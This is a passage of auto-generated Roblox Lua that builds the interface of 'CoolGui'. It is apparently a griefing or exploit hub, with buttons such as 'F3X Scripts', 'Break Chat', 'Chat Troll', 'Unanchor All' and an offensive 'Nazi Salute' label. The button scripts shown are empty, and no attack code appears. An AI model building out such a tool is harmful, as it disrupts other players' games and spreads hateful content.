StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript G2L["a5"] = Instance.new("LocalScript", G2L["a4"]); -- StarterGui.CoolGui.Frame.Page4.Section1 G2L["a6"] = Instance.new("Frame", G2L["9a"]); G2L["a6"]["Active"] = true; G2L["a6"]["BorderSizePixel"] = 3; G2L["a6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a6"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["a6"]["Position"] = UDim2.new(0, 1, 0, 0); G2L["a6"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["a6"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Page4.Section1.SectionTitle G2L["a7"] = Instance.new("TextLabel", G2L["a6"]); G2L["a7"]["BorderSizePixel"] = 3; G2L["a7"]["TextSize"] = 14; G2L["a7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["a7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a7"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["a7"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["a7"]["Text"] = [[Preset Skybox/Decal IDs]]; G2L["a7"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["a8"] = Instance.new("TextButton", G2L["a6"]); G2L["a8"]["TextWrapped"] = true; G2L["a8"]["BorderSizePixel"] = 3; G2L["a8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a8"]["TextSize"] = 14; G2L["a8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a8"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["a8"]["Name"] = [[Button]]; G2L["a8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["a8"]["Text"] = [[team c00lkidd Logo 1]]; G2L["a8"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["a9"] = Instance.new("LocalScript", G2L["a8"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["aa"] = Instance.new("TextButton", G2L["a6"]); G2L["aa"]["BorderSizePixel"] = 3; G2L["aa"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["aa"]["TextSize"] = 14; G2L["aa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["aa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["aa"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["aa"]["Name"] = [[Button]]; G2L["aa"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["aa"]["Text"] = [[Thomas]]; G2L["aa"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["ab"] = Instance.new("LocalScript", G2L["aa"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["ac"] = Instance.new("TextButton", G2L["a6"]); G2L["ac"]["TextWrapped"] = true; G2L["ac"]["BorderSizePixel"] = 3; G2L["ac"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ac"]["TextSize"] = 14; G2L["ac"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ac"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["ac"]["Name"] = [[Button]]; G2L["ac"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ac"]["Text"] = [[team skrubl0rd]]; G2L["ac"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["ad"] = Instance.new("LocalScript", G2L["ac"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["ae"] = Instance.new("TextButton", G2L["a6"]); G2L["ae"]["TextWrapped"] = true; G2L["ae"]["BorderSizePixel"] = 3; G2L["ae"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ae"]["TextSize"] = 14; G2L["ae"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ae"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["ae"]["Name"] = [[Button]]; G2L["ae"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ae"]["Text"] = [[team starp4tch]]; G2L["ae"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["af"] = Instance.new("LocalScript", G2L["ae"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["b0"] = Instance.new("TextButton", G2L["a6"]); G2L["b0"]["BorderSizePixel"] = 3; G2L["b0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b0"]["TextSize"] = 14; G2L["b0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b0"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["b0"]["Name"] = [[Button]]; G2L["b0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["b0"]["Text"] = [[c00lkidd]]; G2L["b0"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["b1"] = Instance.new("LocalScript", G2L["b0"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["b2"] = Instance.new("TextButton", G2L["a6"]); G2L["b2"]["TextWrapped"] = true; G2L["b2"]["BorderSizePixel"] = 3; G2L["b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b2"]["TextSize"] = 14; G2L["b2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b2"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["b2"]["Name"] = [[Button]]; G2L["b2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["b2"]["Text"] = [[team 1x3x5x6]]; G2L["b2"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["b3"] = Instance.new("LocalScript", G2L["b2"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["b4"] = Instance.new("TextButton", G2L["a6"]); G2L["b4"]["BorderSizePixel"] = 3; G2L["b4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b4"]["TextSize"] = 14; G2L["b4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b4"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["b4"]["Name"] = [[Button]]; G2L["b4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["b4"]["Text"] = [[ExPro]]; G2L["b4"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["b5"] = Instance.new("LocalScript", G2L["b4"]); -- StarterGui.CoolGui.Frame.Page4.Section1.Button G2L["b6"] = Instance.new("TextButton", G2L["a6"]); G2L["b6"]["TextWrapped"] = true; G2L["b6"]["BorderSizePixel"] = 3; G2L["b6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b6"]["TextSize"] = 14; G2L["b6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b6"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["b6"]["Name"] = [[Button]]; G2L["b6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["b6"]["Text"] = [[team c00lkidd Logo 2]]; G2L["b6"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript G2L["b7"] = Instance.new("LocalScript", G2L["b6"]); -- StarterGui.CoolGui.Frame.Page5 G2L["b8"] = Instance.new("Frame", G2L["2"]); G2L["b8"]["Visible"] = false; G2L["b8"]["ZIndex"] = 2; G2L["b8"]["BorderSizePixel"] = 3; G2L["b8"]["AutoLocalize"] = false; G2L["b8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b8"]["Size"] = UDim2.new(1, 0, 1, -106); G2L["b8"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["b8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["b8"]["Name"] = [[Page5]]; -- StarterGui.CoolGui.Frame.Page5.PageLabel G2L["b9"] = Instance.new("TextLabel", G2L["b8"]); G2L["b9"]["ZIndex"] = 3; G2L["b9"]["BorderSizePixel"] = 3; G2L["b9"]["TextSize"] = 18; G2L["b9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b9"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["b9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["b9"]["Text"] = [[Page 5]]; G2L["b9"]["Name"] = [[PageLabel]]; G2L["b9"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Page5.Section2 G2L["ba"] = Instance.new("Frame", G2L["b8"]); G2L["ba"]["Active"] = true; G2L["ba"]["ZIndex"] = 2; G2L["ba"]["BorderSizePixel"] = 3; G2L["ba"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ba"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["ba"]["Position"] = UDim2.new(0.5, 0, 0, 0); G2L["ba"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["ba"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Page5.Section2.SectionTitle G2L["bb"] = Instance.new("TextLabel", G2L["ba"]); G2L["bb"]["BorderSizePixel"] = 3; G2L["bb"]["TextSize"] = 14; G2L["bb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["bb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["bb"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["bb"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["bb"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["bb"]["Text"] = [[FE Scripts]]; G2L["bb"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["bc"] = Instance.new("TextButton", G2L["ba"]); G2L["bc"]["TextWrapped"] = true; G2L["bc"]["BorderSizePixel"] = 3; G2L["bc"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["bc"]["TextSize"] = 14; G2L["bc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["bc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["bc"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["bc"]["Name"] = [[Button]]; G2L["bc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["bc"]["Text"] = [[Glitch Sound]]; G2L["bc"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["bd"] = Instance.new("LocalScript", G2L["bc"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["be"] = Instance.new("TextButton", G2L["ba"]); G2L["be"]["BorderSizePixel"] = 3; G2L["be"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["be"]["TextSize"] = 14; G2L["be"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["be"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["be"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["be"]["Name"] = [[Button]]; G2L["be"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["be"]["Text"] = [[Stop Sounds]]; G2L["be"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["bf"] = Instance.new("LocalScript", G2L["be"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["c0"] = Instance.new("TextButton", G2L["ba"]); G2L["c0"]["BorderSizePixel"] = 3; G2L["c0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c0"]["TextSize"] = 14; G2L["c0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c0"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["c0"]["Name"] = [[Button]]; G2L["c0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["c0"]["Text"] = [[Backflip]]; G2L["c0"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["c1"] = Instance.new("LocalScript", G2L["c0"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["c2"] = Instance.new("TextButton", G2L["ba"]); G2L["c2"]["TextWrapped"] = true; G2L["c2"]["BorderSizePixel"] = 3; G2L["c2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c2"]["TextSize"] = 14; G2L["c2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c2"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["c2"]["Name"] = [[Button]]; G2L["c2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["c2"]["Text"] = [[Hamster Ball]]; G2L["c2"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["c3"] = Instance.new("LocalScript", G2L["c2"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["c4"] = Instance.new("TextButton", G2L["ba"]); G2L["c4"]["BorderSizePixel"] = 3; G2L["c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c4"]["TextSize"] = 14; G2L["c4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c4"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["c4"]["Name"] = [[Button]]; G2L["c4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["c4"]["Text"] = [[Rickroll Chat]]; G2L["c4"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["c5"] = Instance.new("LocalScript", G2L["c4"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["c6"] = Instance.new("TextButton", G2L["ba"]); G2L["c6"]["BorderSizePixel"] = 3; G2L["c6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c6"]["TextSize"] = 14; G2L["c6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c6"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["c6"]["Name"] = [[Button]]; G2L["c6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["c6"]["Text"] = [[Nazi Salute]]; G2L["c6"]["Position"] = UDim2.new(0, 0, 0, 198); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["c7"] = Instance.new("LocalScript", G2L["c6"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["c8"] = Instance.new("TextButton", G2L["ba"]); G2L["c8"]["TextWrapped"] = true; G2L["c8"]["BorderSizePixel"] = 3; G2L["c8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c8"]["TextSize"] = 14; G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c8"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["c8"]["Name"] = [[Button]]; G2L["c8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["c8"]["Text"] = [[sing c00lkidd anthem]]; G2L["c8"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["c9"] = Instance.new("LocalScript", G2L["c8"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["ca"] = Instance.new("TextButton", G2L["ba"]); G2L["ca"]["BorderSizePixel"] = 3; G2L["ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ca"]["TextSize"] = 14; G2L["ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ca"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["ca"]["Name"] = [[Button]]; G2L["ca"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ca"]["Text"] = [[commit oof]]; G2L["ca"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["cb"] = Instance.new("LocalScript", G2L["ca"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["cc"] = Instance.new("TextButton", G2L["ba"]); G2L["cc"]["BorderSizePixel"] = 3; G2L["cc"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["cc"]["TextSize"] = 14; G2L["cc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["cc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["cc"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["cc"]["Name"] = [[Button]]; G2L["cc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["cc"]["Text"] = [[Chat Troll]]; G2L["cc"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["cd"] = Instance.new("LocalScript", G2L["cc"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["ce"] = Instance.new("TextButton", G2L["ba"]); G2L["ce"]["BorderSizePixel"] = 3; G2L["ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ce"]["TextSize"] = 14; G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ce"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["ce"]["Name"] = [[Button]]; G2L["ce"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ce"]["Text"] = [[Break Chat]]; G2L["ce"]["Position"] = UDim2.new(0, 73, 0, 165); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["cf"] = Instance.new("LocalScript", G2L["ce"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["d0"] = Instance.new("TextButton", G2L["ba"]); G2L["d0"]["TextWrapped"] = true; G2L["d0"]["BorderSizePixel"] = 3; G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d0"]["TextSize"] = 14; G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d0"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["d0"]["Name"] = [[Button]]; G2L["d0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["d0"]["Text"] = [[OG Animations]]; G2L["d0"]["Position"] = UDim2.new(0, 73, 0, 198); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["d1"] = Instance.new("LocalScript", G2L["d0"]); -- StarterGui.CoolGui.Frame.Page5.Section2.Button G2L["d2"] = Instance.new("TextButton", G2L["ba"]); G2L["d2"]["BorderSizePixel"] = 3; G2L["d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d2"]["TextSize"] = 14; G2L["d2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d2"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["d2"]["Name"] = [[Button]]; G2L["d2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["d2"]["Text"] = [[Car]]; G2L["d2"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript G2L["d3"] = Instance.new("LocalScript", G2L["d2"]); -- StarterGui.CoolGui.Frame.Page5.Section1 G2L["d4"] = Instance.new("Frame", G2L["b8"]); G2L["d4"]["Active"] = true; G2L["d4"]["BorderSizePixel"] = 3; G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d4"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["d4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["d4"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Page5.Section1.SectionTitle G2L["d5"] = Instance.new("TextLabel", G2L["d4"]); G2L["d5"]["BorderSizePixel"] = 3; G2L["d5"]["TextSize"] = 14; G2L["d5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["d5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d5"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["d5"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["d5"]["Text"] = [[F3X Scripts]]; G2L["d5"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["d6"] = Instance.new("TextButton", G2L["d4"]); G2L["d6"]["BorderSizePixel"] = 3; G2L["d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d6"]["TextSize"] = 14; G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d6"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["d6"]["Name"] = [[Button]]; G2L["d6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["d6"]["Text"] = [[Set Skybox]]; G2L["d6"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["d7"] = Instance.new("LocalScript", G2L["d6"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["d8"] = Instance.new("TextButton", G2L["d4"]); G2L["d8"]["BorderSizePixel"] = 3; G2L["d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d8"]["TextSize"] = 14; G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d8"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["d8"]["Name"] = [[Button]]; G2L["d8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["d8"]["Text"] = [[Fire Parts]]; G2L["d8"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["d9"] = Instance.new("LocalScript", G2L["d8"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["da"] = Instance.new("TextButton", G2L["d4"]); G2L["da"]["BorderSizePixel"] = 3; G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["da"]["TextSize"] = 14; G2L["da"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["da"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["da"]["Name"] = [[Button]]; G2L["da"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["da"]["Text"] = [[Raining Toads]]; G2L["da"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["db"] = Instance.new("LocalScript", G2L["da"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["dc"] = Instance.new("TextButton", G2L["d4"]); G2L["dc"]["TextWrapped"] = true; G2L["dc"]["BorderSizePixel"] = 3; G2L["dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["dc"]["TextSize"] = 14; G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["dc"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["dc"]["Name"] = [[Button]]; G2L["dc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["dc"]["Text"] = [[Create Baseplate]]; G2L["dc"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["dd"] = Instance.new("LocalScript", G2L["dc"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["de"] = Instance.new("TextButton", G2L["d4"]); G2L["de"]["BorderSizePixel"] = 3; G2L["de"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["de"]["TextSize"] = 14; G2L["de"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["de"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["de"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["de"]["Name"] = [[Button]]; G2L["de"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["de"]["Text"] = [[Unanchor All]]; G2L["de"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["df"] = Instance.new("LocalScript", G2L["de"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["e0"] = Instance.new("TextButton", G2L["d4"]); G2L["e0"]["BorderSizePixel"] = 3; G2L["e0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e0"]["TextSize"] = 14; G2L["e0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e0"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["e0"]["Name"] = [[Button]]; G2L["e0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["e0"]["Text"] = [[Raining Luigis]]; G2L["e0"]["Position"] = UDim2.new(0, 0, 0, 198); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["e1"] = Instance.new("LocalScript", G2L["e0"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["e2"] = Instance.new("TextButton", G2L["d4"]); G2L["e2"]["BorderSizePixel"] = 3; G2L["e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e2"]["TextSize"] = 14; G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e2"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["e2"]["Name"] = [[Button]]; 